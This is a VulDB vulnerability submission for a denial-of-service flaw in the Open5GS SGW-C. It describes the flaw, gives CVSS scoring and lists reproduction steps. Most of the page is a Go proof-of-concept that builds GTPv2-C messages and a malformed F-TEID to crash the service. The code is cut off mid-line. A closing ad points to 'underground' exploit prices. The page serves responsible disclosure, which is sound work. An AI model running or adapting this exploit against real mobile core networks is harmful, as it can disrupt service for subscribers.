Enviar #738375: Open5GS SGWC v2.7.6 Denial of Serviceinformación

TítuloOpen5GS SGWC v2.7.6 Denial of Service
Descripción### Description SGW-C can be forced to abort by a malformed ModifyBearerRequest (S11) containing a Bearer Context F-TEID that omits both IPv4 and IPv6 address flags (i.e., V4=0 and V6=0). ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // PoC for Vuln-PA3-02: Malformed F-TEID in ModifyBearerRequest // Target: Open5GS SGW-C // Vulnerability: ogs_assert(OGS_OK == ogs_gtp2_f_teid_to_ip()) at line 576 // Impact: SGW-C crash (DoS) package main import ( "encoding/binary" "fmt" "log" "net" "sync" "time" ) const ( GTPv2Port = 2123 // GTPv2-C Message Types CreateSessionRequest = 32 CreateSessionResponse = 33 ModifyBearerRequest = 34 // IE Types IE_IMSI = 1 IE_CAUSE = 2 IE_EBI = 73 IE_BEARER_CONTEXT = 93 IE_FTEID = 87 IE_INDICATION = 77 IE_APN = 71 IE_PDN_TYPE = 99 IE_PAA = 79 IE_SERVING_NET = 83 IE_RAT_TYPE = 82 IE_SELECTION_MODE = 128 IE_APN_RESTRICT = 127 IE_AMBR = 72 IE_BEARER_QOS = 80 // GTPv2 Header flags GTPv2_VERSION = 2 GTPv2_TEID_PRESENT = 0x08 // F-TEID Interface Types FTEID_IF_S1U_ENB = 0 FTEID_IF_S11_MME = 10 FTEID_IF_S5S8_PGW = 7 FTEID_IF_S5S8_PGWC = 7 FTEID_IF_S5S8_PGWU = 4 ) var ( pgwIP = "10.44.44.4" // Mock PGW IP (Docker network gateway) sgwcIP = "10.44.44.2" // SGW-C IP in Docker pgwReady = make(chan bool) ) // ============================================================================ // GTPv2 Message Parsing and Building // ============================================================================ type GTPv2Header struct { Version uint8 TEID_Flag bool MessageType uint8 Length uint16 TEID uint32 SeqNum uint32 } func parseGTPv2Header(data []byte) (*GTPv2Header, error) { if len(data) < 12 { return nil, fmt.Errorf("message too short") } header := &GTPv2Header{ Version: (data[0] >> 5) & 0x07, TEID_Flag: (data[0] & 0x08) != 0, MessageType: data[1], Length: binary.BigEndian.Uint16(data[2:4]), TEID: binary.BigEndian.Uint32(data[4:8]), SeqNum: uint32(data[8])<<16 | uint32(data[9])<<8 | uint32(data[10]), } return header, nil } func buildIE(ieType uint8, instance uint8, data []byte) []byte { ie := make([]byte, 4+len(data)) ie[0] = ieType binary.BigEndian.PutUint16(ie[1:3], uint16(len(data))) ie[3] = instance & 0x0F copy(ie[4:], data) return ie } func buildValidFTEID(ifType uint8, teid uint32, ipv4 net.IP, instance uint8) []byte { data := make([]byte, 9) data[0] = 0x80 | (ifType & 0x3F) // V4=1, V6=0, interface type binary.BigEndian.PutUint32(data[1:5], teid) copy(data[5:9], ipv4.To4()) return buildIE(IE_FTEID, instance, data) } func buildMalformedFTEID(ifType uint8, teid uint32, instance uint8) []byte { data := make([]byte, 5) data[0] = ifType & 0x3F // V4=0, V6=0 - EXPLOIT! binary.BigEndian.PutUint32(data[1:5], teid) return buildIE(IE_FTEID, instance, data) } func encodeIMSI(imsi string) []byte { result := make([]byte, 8) for i := 0; i < len(imsi) && i < 15; i++ { digit := imsi[i] - '0' if i%2 == 0 { result[i/2] |= digit } else { result[i/2] |= digit << 4 } } if len(imsi)%2 == 1 { result[len(imsi)/2] |= 0xF0 } return result } // ============================================================================ // Mock PGW Server Functions // ============================================================================ func buildBearerContext(ebi uint8, pgwS5uTEID uint32, pgwS5uIP net.IP) []byte { var bearerData []byte // Cause IE (Request Accepted) cause := []byte{16, 0} bearerData = append(bearerData, buildIE(IE_CAUSE, 0, cause)...) // EBI IE ebiData := []byte{ebi} bearerData = append(bearerData, buildIE(IE_EBI, 0, ebiData)...) // PGW S5/S8 U F-TEID pgwS5uFTEID := buildValidFTEID(FTEID_IF_S5S8_PGWU, pgwS5uTEID, pgwS5uIP, 2) bearerData = append(bearerData, pgwS5uFTEID...) // Bearer QoS qosData := make([]byte, 22) qosData[0] = 0x00 qosData[1] = 0x09 // QCI = 9 bearerData = append(bearerData, buildIE(IE_BEARER_QOS, 0, qosData)...) return buildIE(IE_BEARER_CONTEXT, 0, bearerData) } func buildCreateSessionResponseForPGW(reqHeader *GTPv2Header, pgwS5cTEID uint32) []byte { var payload []byte // Cause IE (Request Accepted) cause := []byte{16, 0} payload = append(payload, buildIE(IE_CAUSE, 0, cause)...) // PGW S5/S8 C F-TEID (for control plane) pgwS5cFTEID := buildValidFTEID(FTEID_IF_S5S8_PGWC, pgwS5cTEID, net.ParseIP(pgwIP), 1) payload = append(payload, pgwS5cFTEID...) // PDN Address Allocation (PAA) - Assign IP to UE paa := make([]byte, 5) paa[0] = 1 // PDN Type: IPv4 paa[1] = 10 // Assigned IP: 10.45.0.1 paa[2] = 45 paa[3] = 0 paa[4] = 1 payload = append(payload, buildIE(IE_PAA, 0, paa)...) // Bearer Context Created pgwS5uTEID := uint32(0x55667788) pgwS5uIP := net.ParseIP(pgwIP) bearerCtx := buildBearerContext(5, pgwS5uTEID, pgwS5uIP) payload = append(payload, bearerCtx...) // Build GTPv2-C header header := make([]byte, 12) header[0] = (GTPv2_VERSION << 5) | GTPv2_TEID_PRESENT header[1] = CreateSessionResponse binary.BigEndian.PutUint16(header[2:4], uint16(len(payload)+8)) binary.BigEndian.PutUint32(header[4:8], reqHeader.TEID) header[8] = byte((reqHeader.SeqNum >> 16) & 0xFF) header[9] = byte((reqHeader.SeqNum >> 8) & 0xFF) header[10] = byte(reqHeader.SeqNum & 0xFF) header[11] = 0x00 return append(header, payload...) } func runMockPGW(wg *sync.WaitGroup) { defer wg.Done() log.Printf("[PGW] Starting Mock PGW Server...") log.Printf("[PGW] Listening on: %s:%d", pgwIP, GTPv2Port) // Create UDP listener addr := &net.UDPAddr{ IP: net.ParseIP(pgwIP), Port: GTPv2Port, } conn, err := net.ListenUDP("udp", addr) if err != nil { log.Fatalf("[PGW] Failed to listen: %v", err) } defer conn.Close() log.Printf("[PGW] READY - Waiting for CreateSessionRequest from SGW-C...") // Signal that PGW is ready close(pgwReady) buf := make([]byte, 4096) sessionCounter := uint32(0x11223344) // Set a timeout so the goroutine can exit if no requests come conn.SetReadDeadline(time.Now().Add(30 * time.Second)) for { n, remoteAddr, err := conn.ReadFromUDP(buf) if err != nil { if netErr, ok := err.(net.Error); ok && netErr.Timeout() { log.Printf("[PGW] Timeout waiting for requests, exiting...") return } log.Printf("[PGW] Read error: %v", err) continue } log.Printf("[PGW] <-- Received %d bytes from %s", n, remoteAddr) // Parse header header, err := parseGTPv2Header(buf[:n]) if err != nil { log.Printf("[PGW] Failed to parse header: %v", err) continue } log.Printf("[PGW] Message Type=%d, TEID=0x%08x, SeqNum=0x%06x", header.MessageType, header.TEID, header.SeqNum) // Handle CreateSessionRequest if header.MessageType == CreateSessionRequest { log.Printf("[PGW] Processing CreateSessionRequest from SGW-C") // Assign PGW S5C TEID sessionCounter++ pgwS5cTEID := sessionCounter log.Printf("[PGW] Assigning PGW_S5C_TEID=0x%08x", pgwS5cTEID) // Build CreateSessionResponse response := buildCreateSessionResponseForPGW(header, pgwS5cTEID) // Send response _, err = conn.WriteToUDP(response, remoteAddr) if err != nil { log.Printf("[PGW] Failed to send response: %v", err) continue } log.Printf("[PGW] --> Sent CreateSessionResponse (%d bytes)", len(response)) log.Printf("[PGW] Session established with SGW-C!") log.Printf("") // Extend timeout for potential additional messages conn.SetReadDeadline(time.Now().Add(30 * time.Second)) } else { log.Printf("[PGW] Unexpected message type: %d (ignoring)", header.MessageType) } } } // ============================================================================ // Exploit Functions // ============================================================================ func buildCreateSessionRequest(seqNum uint32, pgwIPAddr string) []byte { var payload []byte // IMSI imsiBytes := encodeIMSI("001010123456789") payload = append(payload, buildIE(IE_IMSI, 0, imsiBytes)...) // Serving Network servingNet := []byte{0x00, 0x10, 0x10} payload = append(payload, buildIE(IE_SERVING_NET, 0, servingNet)...) // RAT Type payload = append(payload, buildIE(IE_RAT_TYPE, 0, []byte{6})...) // Sender F-TEID (MME S11) senderFTEID := buildValidFTEID(FTEID_IF_S11_MME, 0x12345678, net.ParseIP("192.168.1.100"), 0) payload = append(payload, senderFTEID...) // PGW S5/S8 F-TEID pgwFTEID := buildValidFTEID(FTEID_IF_S5S8_PGW, 0, net.ParseIP(pgwIPAddr), 1) payload = append(payload, pgwFTEID...) // APN apnEncoded := make([]byte, 9) apnEncoded[0] = 8 copy(apnEncoded[1:], "internet") payload = append(payload, buildIE(IE_APN, 0, apnEncoded)...) // Selection Mode payload = append(payload, buildIE(IE_SELECTION_MODE, 0, []byte{0})...) // PDN Type payload = append(payload, buildIE(IE_PDN_TYPE, 0, []byte{1})...) // PAA paa := []byte{1, 0, 0, 0, 0} payload = append(payload, buildIE(IE_PAA, 0, paa)...) // APN Restriction payload = append(payload, buildIE(IE_APN_RESTRICT, 0, []byte{0})...) // AMBR ambr := make([]byte, 8) binary.BigEndian.PutUint32(ambr[0:4], 100000) binary.BigEndian.PutUint32(ambr[4:8], 1000000) payload = append(payload, buildIE(IE_AMBR, 0, ambr)...) // Bearer Context ebiIE := buildIE(IE_EBI, 0, []byte{5}) qosData := make([]byte, 22) qosData[0] = 0x00 qosData
Fuente⚠️ https://github.com/open5gs/open5gs/issues/4273
Usuario
 FrankyLin (UID 94345)
Sumisión2026-01-14 04:15 (hace 5 meses)
Moderación2026-01-29 06:57 (15 days later)
EstadoAceptado
Entrada de VulDB343349 [Open5GS hasta 2.7.5 SGWC /sgwc/s11-handler.c ogs_gtp2_f_teid_to_ip denegación de servicio]
Puntos20

Interested in the pricing of exploits?

See the underground prices here!